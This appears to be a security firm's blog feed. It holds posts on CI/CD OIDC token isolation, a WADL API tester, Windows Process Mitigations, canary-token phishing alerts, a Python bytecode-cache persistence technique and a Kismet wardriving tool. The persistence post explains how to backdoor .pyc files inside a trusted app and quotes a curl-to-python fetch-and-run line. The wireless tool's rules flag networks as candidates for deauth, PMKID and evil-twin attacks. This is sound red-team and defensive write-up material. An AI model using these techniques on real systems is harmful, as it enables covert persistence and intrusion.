Technically speaking, there is nothing stopping a supply chain attack from leveraging stolen OIDC tokens. And in fact, the recent Mini Shai-Hulud variant did exactly this. However, this specific attack was limited to targeting NPM. From what I’ve seen publicly discussed, other services where not targeted. To see how this works with OIDC, lets take a look at the Action from NPM’s own documentation:

name: Publish Package

permissions:
  # Issue an OIDC token
  id-token: write
  contents: read

jobs:
  publish:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v6

      - uses: actions/setup-node@v6
        with:
          node-version: "24"
          registry-url: "https://registry.npmjs.org"
          package-manager-cache: false

      - run: npm ci
      - run: npm run build --if-present
      - run: npm test
      - run: npm publish

As in the example above, an OIDC token is exposed to all jobs. Fixing this is conceptually identical to isolating secrets. However, due to how GitHub Actions work, the tokens cannot be controlled at the step level which means we now need two jobs. Fixing the example above:

name: Publish Package to npmjs

on:
  release:
    types: [published]

jobs:
  build:
    runs-on: ubuntu-latest
    # No OIDC token is available during this job
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@v6

      - uses: actions/setup-node@v6
        with:
          node-version: "24"
          registry-url: "https://registry.npmjs.org"
          package-manager-cache: false

      - run: npm ci
      - run: npm run build --if-present
      - run: npm test

      # Upload the package as an artifact, allowing it to be
      # referenced in the publish job
      - uses: actions/upload-artifact@v4
        with:
          name: npm-package
          path: |
            .
            !node_modules
            !.git
          retention-days: 1

  publish:
    needs: build
    runs-on: ubuntu-latest
    # Expose an OIDC token
    permissions:
      contents: read
      id-token: write
    steps:
      - uses: actions/setup-node@v4
        with:
          node-version: "24.x"
          registry-url: "https://registry.npmjs.org"

      # Download the artifact
      - uses: actions/download-artifact@v4
        with:
          name: npm-package

      # Publish using the OIDC token
      - run: npm publish

OIDC Quirks

There is a practical limitation to exploiting OIDC configurations en-masse, namely that environment-specific information must be included when exchanging an OIDC token for credentials. The amount of information required varies depending on the service you are authenticating against. For example, NPM only requires you to provide an audience, which is static across all environments using this configuration. In other words, an attacker doesn’t need to understand anything about the environment they’re targetting. More specifically: all the environment specific information an attacker needs is embedded directly within the OIDC token itself.

In contrast, authenticating against AWS requires more information. Specifically, you must provide an IAM role ARN to assume. Here is a (slightly modified) example from GitHub’s documentation:

name: AWS example workflow

permissions:
  id-token: write
  contents: read

jobs:
  S3PackageUpload:
    runs-on: ubuntu-latest
    steps:
      - name: Git clone the repository
        uses: actions/checkout@v6

      - name: configure aws credentials
        uses: aws-actions/configure-aws-credentials@v6
        with:
            # this value is unique in every environment
            role-to-assume: arn:aws:iam::000012345789:role/s3-publish
            role-session-name: githubworkflow
            aws-region: us-east-1

      - name: Copy index.html to s3
        run: |
          aws s3 cp ./index.html s3://my_bucket/

In this context, a piece of malware could not immediately pivot to exchanging the OIDC token for AWS credentials without first discovering the role ARN. This should not be treated as a security control by any means, but it is a notable quirk worth calling out. Unfortunately, this quirk nets you nothing for public package providers. PyPI, Crates.io, and other similar platforms operate like NPM does. Further, this information could also be exposed depending on how a pipeline is built. If a repository is checked out during the exploited job, this information could be enumerated from the on-disk pipeline file. Alternatively, it is relatively common to expose this information as environment variables.

As an aside, it is interesting to note that GitHub’s example exposes the OIDC token to all jobs by configuring it at the root of the Action manifest. This is fine in the context of this specific example, but the documentation itself does not include any warnings about this. The AWS blog post on this topic does the same. As mentioned above, the same is true for NPM’s own documentation, and their examples are fully exploitable out-of-the-box.

Gold Standard Protections

While this is certainly useful, it is not the most significant means of mitigating supply chain attacks. Discussing these in detail is outside the scope of this post, but as a brief recap there are two primary controls every organization should adopt.

First, all package dependencies should avoid version tags. Generally speaking, tags are mutable, and this is exactly what this class of attacks take advantage of. That safe v2.3.1 package you installed last week may be overwritten with malware next week. Instead, dependencies should rely on commit hash pinning. Commit hashes are immutable; they cannot be overwritten. All modern package management systems allow for lock files to be generated against commit hashes. This should also be used for reusable workflows. For example, the AWS role assumption workflow referenced above could be rewritten as: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502.

Second, package managers should be configured with a dependency cooldown. This control again emerges from observing the smash-and-grab nature of these campaigns. Malicious packages are published with little regard for stealth, and because of this, are quickly detected and taken down. These packages may be alive for a few hours, or even a few minutes. Dependency cooldown is a configuration that tells a package manager to ignore packages that have been published within a given window.

There are nuances to this, such as GitHub’s immutable releases which allows you to safely rely on known-safe version tags. Or configuring internal artifact registries that upstream public registries. There are also framework-specific protections you can enable, such as disabling lifecycle scripts during npm execution using the --ignore-scripts flag.

Summary

It is important to again stress that this mitigation is tailored to modern adversarial campaigns. This is a mitigation against direct credential exfiltration from payloads that trigger during the build stage. A sophisticated attacker could cause malicious code to trigger during deployment, or even post-deployment when the package is live within the environment. This is particularly notable when dealing with dependency confusion attacks, a far more targeted class of supply chain attacks. But again: security is best implemented in layers.

If you have not already configured your organization’s environment with commit hash pinning and dependency cooldown, go do that now. Right now. But security is best implemented in layers. If you’ve already got this wrangled, it’s worth looking into isolating the build phases of your pipelines. This won’t do anything to prevent developers themselves from pulling a malicious packages, but pipelines are what have significant environment access. A compromised publish pipeline functionally has administrator rights within production environments. And while these campaigns have largely acted as worms, there is nothing stopping them from advancing their capabilities and broadening their post-compromise target list.

The WADLer: WADL I do with these files?

Tue, 23 Jun 2026 12:00:00 +0000

Background

On a recent external engagement I discovered an API with an exposed application.wadl file while digging through Nuclei results. The file contained definitions for over 150 API endpoints, more than I could easily test by hand.

Web Application Description Language (WADL) files contain XML definitions for REST APIs. They’re similar to OpenAPI JSON files, WSDL files, and other API definition files.

An example WADL file:

<application xmlns="http://wadl.dev.java.net/2009/02">
	<resources base="http://localhost:8000/">
		<resource path="users">
			<method name="GET">
				<request>
					<param name="role" required="true" style="query" type="string"/>
					<representation mediaType="application/json"/>
				</request>
				<response status="200">
					<representation mediaType="application/json"/>
				</response>
			</method>
		</resource>
		<resource path="users">
			<method name="POST">
				<request>
					<param name="body" required="true" style="body" type="string"/>
					<representation mediaType="application/json"/>
				</request>
				<response status="200">
					<representation mediaType="application/json"/>
				</response>
			</method>
		</resource>
		<resource path="users/{id}">
			<method name="PUT">
				<request>
					<param name="id" required="true" style="template" type="int"/>
					<param name="body" required="true" style="body" type="string"/>
					<representation mediaType="application/json"/>
				</request>
				<response status="200">
					<representation mediaType="application/json"/>
				</response>
			</method>
		</resource>
		<resource path="user">
			<method name="DELETE">
				<request>
					<param name="id" required="true" style="query" type="int"/>
					<representation mediaType="application/json"/>
				</request>
				<response status="200">
					<representation mediaType="application/json"/>
				</response>
			</method>
		</resource>
		<resource path="application.wadl">
			<method name="GET">
				<request>
					<representation mediaType="application/json"/>
				</request>
				<response status="200">
					<representation mediaType="application/json"/>
				</response>
			</method>
		</resource>
	</resources>
</application>

Although there is existing tooling for automatically testing APIs from WSDL and OpenAPI files, I was unable to find anything existing to parse and test APIs from WADLs.

The WADLer

The WADLer was created to fill this gap and allow for the quick and easy testing of API endpoints from WADL files. It parses a remote or local WADL file, identifies all endpoints, and sends a test request with appropriate content. This can be helpful in quickly identifying interesting API endpoints and endpoints lacking authentication requirements.

Testing endpoints from a local WADL file while proxying to Burp & saving a JSON report.

The WADLer supports the use of web proxies and can generate a JSON report outlining all requests made and their results.

Observing proxied WADLer traffic in BurpSuite.

Example JSON report:

[
  {
    "method": "GET",
    "url": "http://localhost:8000/users",
    "status_code": 200,
    "reason": "OK",
    "response_time": 0.006547,
    "response_size": 48,
    "response_body": {
      "message": "Fetched users",
      "filter": "test_role"
    }
  },
  {
    "method": "POST",
    "url": "http://localhost:8000/users",
    "status_code": 200,
    "reason": "OK",
    "response_time": 0.004864,
    "response_size": 54,
    "response_body": {
      "message": "User created",
      "user": {
        "body": "test_body"
      }
    }
  },
  {
    "method": "PUT",
    "url": "http://localhost:8000/users/123",
    "status_code": 200,
    "reason": "OK",
    "response_time": 0.003647,
    "response_size": 66,
    "response_body": {
      "message": "User updated",
      "id": 123,
      "updated": {
        "body": "test_body"
      }
    }
  },
]

You can then use jq to filter results and obtain only successful API requests:

# Pull out full info
jq '[.[] | select(.status_code == 200).url]' output.json


# Pull out URLs only
jq '[.[] | select(.status_code == 200).url]' output.json

Closing

WADL files are valuable pieces of enticement information that can provide details on API endpoints without fuzzing. Using The WADLer, you can quickly identify interesting API endpoints and endpoints lacking authentication.

Source code for The WADLer can be found here.

Defensive Applications of Windows Process Mitigations

Tue, 16 Jun 2026 12:00:00 +0000

Process Mitigations are a Windows feature that enables exploit mitigations on either a per-process or system-wide basis. This post explores our research into potential defensive applications of Process Mitigations to prevent commodity attack techniques as well the limitations of the control.

How do they work?

Process Mitigations provide the following protections (click to expand):

System-wide

Name	Description
Control flow guard (CFG)	Ensures control flow integrity for indirect calls. Can optionally suppress exports and use strict CFG.
Data Execution Prevention (DEP)	Prevents code from being run from data-only memory pages such as the heap and stacks. Only configurable for 32-bit (x86) apps, permanently enabled for all other architectures. Can optionally enable ATL thunk emulation.
Force randomization for images (Mandatory ASLR)	Forcibly relocates images not compiled with /DYNAMICBASE. Can optionally fail loading images that don’t have relocation information.
Randomize memory allocations (Bottom-Up ASLR)	Randomizes locations for virtual memory allocations. It includes system structure heaps, stacks, TEBs, and PEBs. Can optionally use a wider randomization variance for 64-bit processes.
Validate exception chains (SEHOP)	Ensures the integrity of an exception chain during exception dispatches. Only configurable for 32-bit (x86) applications.
Validate heap integrity	Terminates a process when heap corruption is detected.

Per-process

Name	Description
Control flow guard (CFG)	Ensures control flow integrity for indirect calls. Can optionally suppress exports and use strict CFG.
Data Execution Prevention (DEP)	Prevents code from being run from data-only memory pages such as the heap and stacks. Only configurable for 32-bit (x86) apps, permanently enabled for all other architectures. Can optionally enable ATL thunk emulation.
Force randomization for images (Mandatory ASLR)	Forcibly relocates images not compiled with /DYNAMICBASE. Can optionally fail loading images that don’t have relocation information.
Randomize memory allocations (Bottom-Up ASLR)	Randomizes locations for virtual memory allocations. It includes system structure heaps, stacks, TEBs, and PEBs. Can optionally use a wider randomization variance for 64-bit processes.
Validate exception chains (SEHOP)	Ensures the integrity of an exception chain during exception dispatches. Only configurable for 32-bit (x86) applications.
Validate heap integrity	Terminates a process when heap corruption is detected.
Arbitrary code guard (ACG)	Prevents the introduction of non-image-backed executable code and prevents code pages from being modified. Can optionally allow thread opt-out and allow remote downgrade (configurable only with PowerShell).
Block low integrity images	Prevents the loading of images marked with Low Integrity.
Block remote images	Prevents loading of images from remote devices.
Block untrusted fonts	Prevents loading any GDI-based fonts not installed in the system fonts directory, notably fonts from the web.
Code integrity guard	Restricts loading of images signed by Microsoft, WHQL, or higher. Can optionally allow Microsoft Store signed images.
Disable extension points	Disables various extensibility mechanisms that allow DLL injection into all processes, such as AppInit DLLs, window hooks, and Winsock service providers.
Disable Win32k system calls	Prevents an app from using the Win32k system call table.
Don’t allow child processes	Prevents an app from creating child processes.
Export address filtering (EAF)	Detects dangerous operations that are resolved by malicious code. Can optionally validate access by modules commonly used by exploits.
Import address filtering (IAF)	Detects dangerous operations that are resolved by a malicious code.
Simulate execution (SimExec)	Ensures that calls to sensitive APIs return to legitimate callers. Only configurable for 32-bit (x86) applications. Not compatible with ACG.
Validate API invocation (CallerCheck)	Ensures that legitimate callers invoke sensitive APIs. Only configurable for 32-bit (x86) applications. Not compatible with ACG
Validate handle usage	Causes an exception to be raised on any invalid handle references.
Validate image dependency integrity	Enforces code signing for Windows image dependency loading.
Validate stack integrity (StackPivot)	Ensures that the stack hasn’t been redirected for sensitive APIs. Not compatible with ACG.

Source: Microsoft

Likely one of the most well-known applications of Process Mitigations is Cobalt Strike’s blockdll feature. This configures the C2 implant to spawn child processes with a Process Mitigation that prevents loading non-Microsoft DLLs, which notably prevents loading EDR-related DLLs that are not cross-signed by Microsoft (see here and here for more details).

Under the hood, Process Mitigations are deployed either during/after process creation or persistently via a system configuration change. When creating a new process, the caller can specify a Mitigation policy in the process startup information like:

cpp CreateProcess with Mitigation Policy



#include "pch.h"
#include <iostream>
#include <Windows.h>

int main()
{
	PROCESS_INFORMATION pi = {};
	STARTUPINFOEXA si = {};
	SIZE_T attributeSize = 0;
	
	InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
	PPROC_THREAD_ATTRIBUTE_LIST attributes = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, attributeSize);
	InitializeProcThreadAttributeList(attributes, 1, 0, &attributeSize);

	DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
	UpdateProcThreadAttribute(attributes, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(DWORD64), NULL, NULL);
	si.lpAttributeList = attributes;

	CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
	HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, attributes);

	return 0;
}

Source: ired.team

Other related APIs include: SetProcessMitigationPolicy and GetProcessMitigationPolicy.

To persistently configure a Mitigation Policy, you can use the PowerShell Set-ProcessMitigation cmdlet to configure both system-wide and per-process settings. Alternatively, you can directly write changes to the Registry. For per-process options, Process Mitigations use Image File Execution Options (IFEO) under the hood via the MitigationOptions subkey.

Prior defensive applications

While not widely used, there are some notable applications of Process Mitigations for defensive purposes:

Gabriel Landau of Elastic Security lists the NoRemoteImages option, set via a driver, as a mitigation for his PPLFault exploit chain (see slide #44 or the talk recording)
Elliot Killick discussed using the MicrosoftSignedOnly option to mitigate DLL sideloading for specific applications here
Nathan Blondel discussed the implications of Arbitrary Code Guard on injection into PPL processes here
As part of the Chrome browser sandbox here

Example: AppInit DLLs

As example, we will demonstrate how Process Mitigations can be used to prevent AppInit DLL persistence. AppInit DLLs allow an attacker with administrative rights to inject their own DLL into any process that loads user32.dll by configuring a Registry key.

The malicious DLL c:\inject.dll spawns a message box on load.

The extensions point mitigation is a per-process mitigation that disables AppInit DLLs, IMEs, and Event Hooks.

Any process configured with this mitigation will ignore the DLL specificed in the AppInit DLL Registry settings.

Limitiations for commodity attacks

System-wide mitigations are primarily focused on exploit protections whereas per-process mitigations can be applied for additional uses, like the above example. Because per-process mitigations are controlled by IFEO, they are ultimately limited by the same limitation of other IFEO controls. Notably, that IFEO must be set based on a process’ file name (or a subset of matches via the FilterFullPath option). You cannot set global IFEO mitigations options. This also means that per-process mitigations can be easily bypassed by simply renaming/moving the target process.

Due to this, Process Mitigations are largely unsuitable as a general control for commodity attacks. Though they may be suitable in more limited capacities, such as mitigating specific attacks against a specific process that requires a static path (e.g., things in System32). Ultimately, we decided to not pursue this approach further.

If you have any questions or concerns, feel free to reach out to @2xxeformyshirt.

Additional resources

Additional useful public research around Process Mitigations include:

Yarden Shafir’s post Understanding a New Mitigation: Module Tampering Protection, 2022 Paranoia talk Security Features You’ve Never Heard of (but should), and tool MitigationFlagsCliTool
James Forshaw’s 2016 TROOPERS talk The Joy of Sandbox Mitigations
Emeric Nasi’s Code Injection series part 4

Logging and Alerting on AitM Canary Token Hits in Microsoft Sentinel

Tue, 09 Jun 2026 12:00:00 +0000

Overview

Adversary-in-the-Middle (AitM) proxy based phishing has historically been an effective method of bypassing basic authentication controls like SMS and TOTP MFA. Unlike credential phishing through a cloned login portal, an AitM attack proxies the legitimate authentication flow in real time and captures user session details, which an attacker can reuse without further user interaction.

The strongest preventative control is phishing-resistant multifactor authentication, like FIDO2 or passkey solutions. These are designed to prevent authentication from a different domain than the legitimate domain with which the hardware token or passkey was registered.

* Phishing-resistant multifactor authentication methods like FIDO2 security keys or passkeys mitigate this step (#2), unlike number-matching or TOTP methods that are not explicitly tied to the domain of the legitimate service.

For organizations that want additional defense-in-depth, deception technologies can provide a complementary layer by detecting proxied login portals and phishing infrastructure prior to credential compromise. Deception helps address the challenge presented by the fact that attacker infrastructure is not something that can be logged in a SIEM for alerting. Stolen session tokens can remain undetected until they are used against production systems; by then, detection depends on last-resort signals such as impossible travel or anomalous sign-in activity. Alerting on unexpected domains that use the same branding as a known login portal for your organization via deception technology gives advanced notice that allows for proactive network blocks and hunting for both traffic to and emails linking to a potential up-and-coming credential theft portal.

Canary Tokens

Canary tokens are a form of deception technology that act as tripwires. Once they are accessed, they trigger a callback to a listening service, similar to a web beacon or email tracking pixel. Note that “canary token” is also the name of a canary token service operated by Thinkst Canary.

Thinkst Canary researchers developed a mechanism for detecting AitM phishing by using discrepancies in the referrer header of page loads between legitimate login portals and proxied login portals by using their canary token service. By loading a canary token via CSS, the canary listener can trigger an alert when the token is loaded with a referrer other than the legitimate portal.

Example HTTP request to a page containing a canary token, when the domain is the expected domain name:

When the the request is performed through a proxied portal, HTTP Referrer header mismatches (step #6):

Ingesting Canary Triggers into Sentinel with Azure Logic Apps

While Thinkst Canary provides a notification mechanism to receive emails on cloned site visits, email isn’t conducive to proper case/incident management or alert tuning. Security teams can ingest these events into a SIEM where analytic rules can be tuned and incidents can be generated for assignment and remediation tracking.

Azure Logic Apps are a low-code/no-code, event-driven automation platform within Microsoft Azure. Logic Apps are an ideal candidate for this use case because Thinkst Canary tokens can be configured to send a webhook to any arbitrary URL, and Logic App workflows configured to receive an HTTP payload as a trigger can filter and transform the payload, then forward the resulting data to a Log Analytics workspace connected to Microsoft Sentinel.

A deployment template containing all necessary Azure resources is available here.

Deployment Instructions

Azure

Azure Portal:

Click the “Deploy to Azure” button, or download the ARM template from GitHub and navigate to the custom deployment service in the Azure Portal. Select “Build your own template in the editor” and upload the ARM template file.

Enter the name of your Microsoft Sentinel workspace in the “Workspace Name” field. Optionally, customize the names of the Data Collection Endpoint, Data Collection Rule, and Table Name for canary token events.

Click “Review + create” to validate, then “Create” to provision.

Upon successful deployment, the following resources are created:

Canary-Token-Webhook-Endpoint: The Logic App workflow with an HTTP Request trigger that receives canary token payloads.
CanaryTokenDCE: The data collection endpoint
CanaryTokenDCR: The data collection rule
CanaryTokenEvents_CL: The Sentinel table where canary trigger events are logged.
ASimAlertEventThinkstCanary and vimAlertEventThinkstCanary: The Sentinel Workspace Functions that normalize CanaryTokenEvents_CL events to the ASIM Alert schema. ASimAlertEventThinkstCanary acts as the base parser; vimAlertEventThinkstCanary provides additional parameters for improved filtering performance.
workspace-name/Microsoft.SecurityInsights/generated-rule-guid: The Sentinel analytic rule titled “Canary Token Interaction” that generates alerts and Sentinel incidents when new canary trigger events occur.

AZ CLI:

az deployment group create \
    --resource-group Your-Resource-Group-Name-Here \
    --template-file azuredeploy.json \
    --parameters workspaceName=Your-Sentinel-Workspace-Name-Here

Granting the Logic App Access to Your Sentinel Workspace

To allow the Logic App to write canary trigger events to the Sentinel workspace via the deployed Data Collection Endpoint (DCE)/Data Collection Rule (DCR), its system-assigned managed identity must be granted the “Monitoring Metrics Publisher” Azure role with a scope that includes the DCR.

Configuring a Canary Token

Step 1: Retrieve the Logic App Webhook URL

Open the “Canary-Token-Webhook-Endpoint” Logic App in the Logic App Designer. Click the “Canary” trigger and note the value in the “HTTP URL” field. HTTP POST requests sent to this URL will be processed by the workflow and written to the Sentinel table via the DCR.

Step 2: Create and Configure the Token

Visit https://canarytokens.org/nest/ and select the desired token type - for example, “Azure Entra ID login” for cloned Entra ID portals, or “CSS cloned website” for other identity providers such as Okta that support custom branding.

A. Enter the FQDN of the web resource to which the canary token will be added (e.g., login[.]your-organization[.]org). If multiple FQDNs require coverage, create a unique token per domain - reusing a token across domains will cause it to trigger on every visit to the second domain.

B. Enter an email address to receive alerts and manage the token.

C. Provide a descriptive label for the token to differentiate it in logs and alerts.

D. Paste the Logic App trigger URL. When the referrer domain does not match the expected domain from step A, a payload containing request details is sent to the webhook.

After completing the form, click “Create Canarytoken.” You will receive a CSS snippet to paste into the HTML or branding configuration of your web page or login portal. When this image is loaded from a non-matching referrer domain, the canary token webhook triggers and the event is logged in Sentinel.

Optionally, email notifications for canary token triggers can be disabled if relying solely on Sentinel alerts via webhook ingestion.

Detection

Once deployed, Canary Token triggers will send a payload via webhook to the Logic App, logging the payload in the Sentinel Log Analytics Workspace. The analytic rule will create an incident in Sentinel.

Logic App Workflow Run

Sentinel Log (ASIM normalized)

Sentinel Alert/Incident

While phishing-resistant MFA remains the strongest defense against AitM attacks, deception can add valuable detection coverage when broader protections are still being rolled out. Integrating canary token hits into Microsoft Sentinel via Azure Logic Apps helps security teams strengthen defense-in-depth with earlier visibility and actionable alerts.

Abusing PYTHONPYCACHEPREFIX

Tue, 02 Jun 2026 12:00:00 +0000

Overview

Using high-level languages for code execution and persistence has become a fairly popular trend as of late. I’m reminded of this post from TrustedSec talking about exactly this. The author discusses how to install Python to a Windows system and provides an overview of what kind of capabilities are available, including how to use ctypes for running unmanaged code. Commercial offensive tooling vendors like Balliskit support Python payloads, and there are even full C2 implants built with it (Medusa, Pyramid, PoshC2).

However, running PowerShell to install Python or even dropping arbitrary Python files to disk can be a risky endeavor within a well-hardened environment. We can do better.

LOTL

A few years back, I was performing a red team engagement against an exceptionally well-hardened environment. They’re a client we’ve worked with for a long time, and they’ve taken all of our recommendations very seriously. Much to their benefit, and the loss of my sanity, the end user workstations had become about as well hardened as any reasonable enterprise could achieve. Tuned EDR, full allowlisting via WDAC, the works. Desperate and racking my brain for something novel, I started going through the applications available within the company portal. After pulling PgAdmin4 and looking through the assets that get installed, I noticed that a portable Python runtime was included.

This alone is a huge boon when fighting against EDR: executing directly from a trusted process in a trusted location. But we still need a means to actually load a payload. We could drop a file to disk and execute, but static file analysis very well may get you caught. You could obfuscate, but then you’ve got to deal with entropy checks. You could also just invoke Python directly, dynamically loading the payload a la curl https://example.com/payload.py | .\python.exe. This obviously has all kinds of drawbacks related to cmd/PowerShell telemetry.

PYTHONPYCACHEPREFIX

The Python3 runtime can be controlled in a number of ways, primarily through command line arguments and environment variables. You can find them documented here. As the title suggests, we’ll be looking at the PYTHONPYCACHEPREFIX environment variable. From the docs:

If this is set, Python will write .pyc files in a mirror directory tree at this path, instead of in __pycache__ directories within the source tree. This is equivalent to specifying the -X pycache_prefix=PATH option.

Lets set this var to something we have write-access to. In this case: an AppData subdirectory.

When launching the app, you’ll see a number of new directories and .pyc files have been created.

Generating Python Bytecode

Now we have a primitive for obtaining write-access to a trusted process’s files. The next step is to weaponize it. This will involve backdooring the .pyc files themselves. These files can be dynamically created by using the py_compile native module (docs here). Importantly, as we’re compiling to bytecode, the Python release we’re using to generate these files needs to exactly match the environment we’re targetting. For PgAdmin4 v9.11.1, this is Python 3.13.9.

If you’re not familiar with Python, the ___init.py___ file is a special initialization file that’s invoked when a package is imported. Given its ubiquitous use, this makes it a great backdoor candidate. For our POC, we’re going to create a simple canary file:

with open("C:/Temp/canary.txt", "w") as f:
    f.write("chirp")

We can then compile this into a .pyc file with the following:

from py_compile import compile, PycInvalidationMode

infile = "C:/Users/titan/Desktop/example.py"
outfile = "C:/Users/titan/Desktop/__init__.pyc"
    
compile(infile, cfile=outfile, invalidation_mode=PycInvalidationMode.UNCHECKED_HASH)

An important bit here is the PycInvalidationMode.UNCHECKED_HASH invalidation mode. This tells the Python runtime to always respect the cache file, even if the original .py file has been modified. This ensures the malicious .pyc persists. Now if we drop this file into the cache directory and reload the PgAdmin4 app, the canary file will be created. This will cause the app to just crash, but that’s not surprising.

Fully weaponizing this is fairly trivial. All we have to do is grab the original ___init__.py file, add our malicious code, and recompile. To target the pycache/Program Files/pgAdmin 4/web/pgadmin/__init__.cpython-313.pyc cache file, we can pull the original from C:/Program Files/pgAdmin 4/web/pgadmin/__init__.py. Drop your malicious code right after the import statements, recompile, drop to disk, et voilà: you now have an implant executing within the context of the parent PgAdmin4 process.

A Note on PgAdmin4 v9.11.2+

I’ve used this technique across several engagements at this point; it’s a surprisingly common app to find within a company portal. However, when going to write this blog, I noticed that PgAdmin4 no longer writes the bytecode files to the expected location. This seems to have started with v9.11.2, which released in Feb 2026. The previous version, v9.11.1, and all other versions I’ve tried this against, work as intended. Discussing with a coworker, it appears this commit introduced a “macOS fix” which disables bytecode generation. Ironically enough, this was enabled by using a different Python env var: PYTHONDONTWRITEBYTECODE. We can confirm this by pulling up the server log:

But not all hope is lost. As the env var name suggests, this only disables writing bytecode and not reading bytecode. To verify this, I modified C:/Program Files/pgAdmin 4/runtime/resources/app/src/js/pgadmin.js, commenting out the process.env.PYTHONDONTWRITEBYTECODE = '1'; line. Restarting the app generated the bytecode, and I created the same ___init__.cpython-313.pyc POC as before. After restoring the PYTHONDONTWRITEBYTECODE env var and restarting the app, the canary file was successfully created.

On a live engagement, you won’t be able to modify the pgadmin.js file to entice the bytecode generation. However, you could do this on a machine you control and then push all the cache files onto the target machine. You could also opt to only drop the single malicious .pyc file. An EDR likely won’t care whether there is a single .pyc or an entire directory tree’s worth, but this may stand out to an adept incident response team.

On Other Applications

To be clear: this primitive is not specific to PgAdmin4. Any application that bundles or otherwise invokes a Python runtime from a user context could be exploited this way. A cursory glance shows that Sublime Text and GIMP use Python for plugin support. Alternatively, a Python developer and all their tooling could be targetted this way, including JupyterLabs Desktop. As long as the target cache file maps to a file that is regularly executed by the user, it can be used as a means of peristence.

PacketHuffer: Making Sense of Kismet Data

Tue, 26 May 2026 12:00:00 +0000

Background

Kismet is a widely-used tool for wireless reconnaissance and other RF information gathering. Wireless reconnaissance, or wardriving, is a key part of wireless engagements during which operators survey the wireless networks and devices in a given area. Kismet is used to easily ingest data from multiple sources (WiFi, BLE, GPS) and identify potentially vulnerable networks and interesting devices.

Kismet provides output in the form of KismetDB .kismet files, which are SQLite databases.

Viewing a KismetDB file using DB Browser for SQLite.

There are limited tools available to easily pull out Access Points (APs) from these files, and things get especially tricky when dealing with large batches of captures. Enter PacketHuffer.

PacketHuffer

The primary motivations of PacketHuffer are to ease the struggle of dealing with multiple Kismet captures, implement out of the box rules/detections for items of interest a-la BloodHound, and add flexibility for the easy viewing and analysis of wireless recon data. PacketHuffer takes information from batches of kismet files, extracts the wireless devices, and provides a de-duplicated/concise view of identified networks. The tool has both a CLI and Web GUI, and allows for JSON and XLSX data exports.

Viewing a KismetDB file using the PacketHuffer GUI.

The GUI displays a single record per SSID and aggregates information from all supplied Kismet files. In addition to the data provided by Kismet, PacketHuffer performs analysis to provide columns such as mfp_status and is_enterprise. These columns provide additional insight based on the Kismet data to make querying and filtering the data easier. For example, mfp_status, which indicates whether protected management frames are required for a network in a distinct column, is derived from Kismet’s dot11.advertisedssid.wpa_mfp_required and dot11.advertisedssid.wpa_mfp_supported attributes.

Processing Kismet files using the PacketHuffer CLI.

Sample anonymized JSON output:

{
    "SSID":
    {
        "0": "DIKomLAG78",
        "1": "af8oiic6bv",
        "2": "B10MKwloKl",
    },
    "crypt_string":
    {
        "0": "open",
        "1": "wpa2 wpa2-eap aes-ccmp",
        "2": "open",
    },
    "mfp_status":
    {
        "0": "Disabled",
        "1": "Disabled",
        "2": "Disabled",
    },
    "is_wpa2":
    {
        "0": false,
        "1": true,
        "2": false,
    },
    "is_psk":
    {
        "0": false,
        "1": false,
        "2": false,
    },
    [SNIPPED]
}

Rules

A main focus of the tool is the ability to use YAML defined rules and custom queries to identify interesting networks, providing operators with an intuitive UI for Kismet data. PacketHuffer rules consist of a condition and guidance. Networks that meet the criteria for a given rule will have information added to the guidance column.

The following rule can be used to identify potential deauth candidates, it identifies WPA-PSK networks without protected management frames.

- name: deauth
  condition: "mfp_status == 'Disabled' and is_wpa == True and is_psk == True"
  guidance: "WPA(2)-PSK network with management frame protection disabled, potential deauthentication candidate."

Using rules to identify open networks while hiding hotspots
and APs with locally administered MAC addresses.

Default Rules

The default PacketHuffer config currently ships with the following rules:

Name	Logic	Guidance	Note
hidden_networks	advertised_SSID == ''	Hidden network, SSID identified by examining device probes and responses.	PacketHuffer/Kismet will automatically reveal hidden network names by parsing device probes/associations.
deauth	mfp_status == ‘Disabled’ and is_wpa == True and is_psk == True	WPA(2)-PSK network with management frame protection disabled, potential deauthentication candidate.
pmkid_candidate	is_wpa == True and is_psk == True	WPA(2)-PSK network, potential PMKID attack candidate.
dragonblood	is_wpa3_transition == True and mfp_status == ‘Disabled’	Network is in WPA3 transition mode, potential WPA3 downgrade attack candidate (DragonBlood).
wep_encryption	is_wep == True	Network uses WEP encryption, potential candidate for ARP Request Replay Attack.
open_network	crypt_string == ’’ or crypt_string == ’none’ or crypt_string == ‘open’	Open network with no encryption.
hotspots	hotspot == True	This network’s OUI maps to a hotspot or mobile device vendor.	This is determined based on OUI lookups / vendors
locally_administered_mac	locally_administered_mac == True	This network’s MAC is in the range for locally administered MACs. This may be randomized by a mobile OS/privacy feature.	This flags as true if the 2nd character of the MAC is in a locally administered range
evil_twin	is_enterprise == True	Enterprise network with EAP enabled. Check the EAP method(s) in use, potential candidate for evil-twin attacks or relay attacks w/sycophant.	More work will need to be done here to determine if specific guidance can be given based on EAP types

Custom Queries

In addition to rules, users can filter data using custom queries using Pandas syntax. We can extend the deauth example from above by only identifying networks with connected clients.

Using custom queries to identify PSK networks
with more than 5 connected clients.

This can be used to identify networks based on specific criteria, e.g. a specific string in the SSID, or to test logic for rule creation.

Handling Multiple Captures

Warwalking generally involves the collection of GPS data to locate identified networks, but this isn’t always feasible depending on the site. When performing recon of small sites such as office buildings, GPS data isn’t helpful in pinpointing network locations. To combat this, I wanted a way to view networks found across a series of captures scoped to a specific area (e.g. floor-1.kismet, floor-2.kismet) and identify which files each network was present in.

When PacketHuffer processes multiple captures, data is de-duplicated by device MAC address, PacketHuffer will provide a single row of data for each broadcasted SSID. The source_db column provides a list of capture files each network was identified in.

Viewing networks identified in multiple capture files.

The row displayed for each SSID will be the record from the last time the network was seen by Kismet. Some columns such as channel, num_connected_clients, and devmac will contain aggregated data from all records.

Closing

